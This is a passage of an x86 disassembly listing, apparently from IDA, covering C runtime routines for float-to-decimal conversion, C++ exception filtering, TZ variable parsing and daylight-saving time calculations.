		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------

loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h

loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------

loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx

loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax

loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------

loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------

loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx

loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]

loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A

loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------

loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]

loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------

loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h

loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_48A210, eax
		add	esp, 18h
		movsx	eax, byte_48A1EA
		mov	dword_48A208, eax
		pop	edi
		movsx	eax, word_48A1E8
		mov	dword_48A20C, eax
		mov	dword_48A214, offset dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------

loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------

loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:0043B918o
					; ___:0043C3E0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------

loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------

loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax

loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0B0E89000h, 0A3021706h, 48A218h, 1835FFC3h
					; DATA XREF: ___:00426024o
		dd 900048A2h, 17069EE8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2590B27h
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi

loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28109F1h
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi

loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2590A5Ch
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi

loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC

loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_48A220, ebp
		mov	dword_43C018, ebx
		mov	dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		nop
		call	near ptr 27C0000h
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_48A228
		mov	ecx, dword_48A27C
		imul	eax, 3Ch
		cmp	word_48A26E, bp
		push	1
		pop	edx
		mov	dword_43BF70, eax
		mov	dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BF70, eax

loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_48A2C2, bp
		jz	short loc_4209E9
		mov	eax, dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_43BF74, edx
		imul	eax, 3Ch
		mov	dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------

loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_43BF74, ebp
		mov	dword_43BF78, ebp

loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------

loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_43BFFC
		and	byte ptr [eax],	0

loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6

loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_43BFFC
		call	sub_418C10
		mov	eax, off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi

loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BF70, ecx

loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17

loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------

loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx

loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------

loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx

loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------

loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_43BF70, ecx

loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_43C000
		call	sub_418C10
		mov	eax, off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------

loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_43C000
		and	byte ptr [eax],	0

loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BF74, edi
		jnz	short loc_420BC0

loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------

loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43C008
		jnz	short loc_420BDE
		cmp	eax, dword_43C018
		jz	loc_420CE0

loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, word_48A2CE
		push	ecx
		cmp	word_48A2C0, di
		movzx	ecx, word_48A2CC
		push	ecx
		movzx	ecx, word_48A2CA
		push	ecx
		movzx	ecx, word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, word_48A2C6
		push	ecx
		movzx	ecx, word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------

loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_48A27A
		add	esp, 2Ch
		cmp	word_48A26C, di
		push	eax
		movzx	eax, word_48A278
		push	eax
		movzx	eax, word_48A276
		push	eax
		movzx	eax, word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_48A270
		push	edi
		push	eax
		movzx	eax, word_48A272
		push	eax
		movzx	eax, word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_48A272
		push	eax
		push	edi
		movzx	eax, word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------

loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h

loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_43C00C
		mov	eax, dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24

loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx

loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9

loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_43C010
		setnl	cl

loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------

loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------

loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_43C054[esi]

loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------

loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------

loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_43C058[esi]

loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------

loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------

loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_43C054[eax*4]

loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]

loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------

loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------

loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_43C020, eax

loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_43C01C, ecx

loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_43C018, ebx

loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx

loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax

loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_48A0A8, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax

loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420EDC:				; CODE XREF: sub_420E98+2Fj
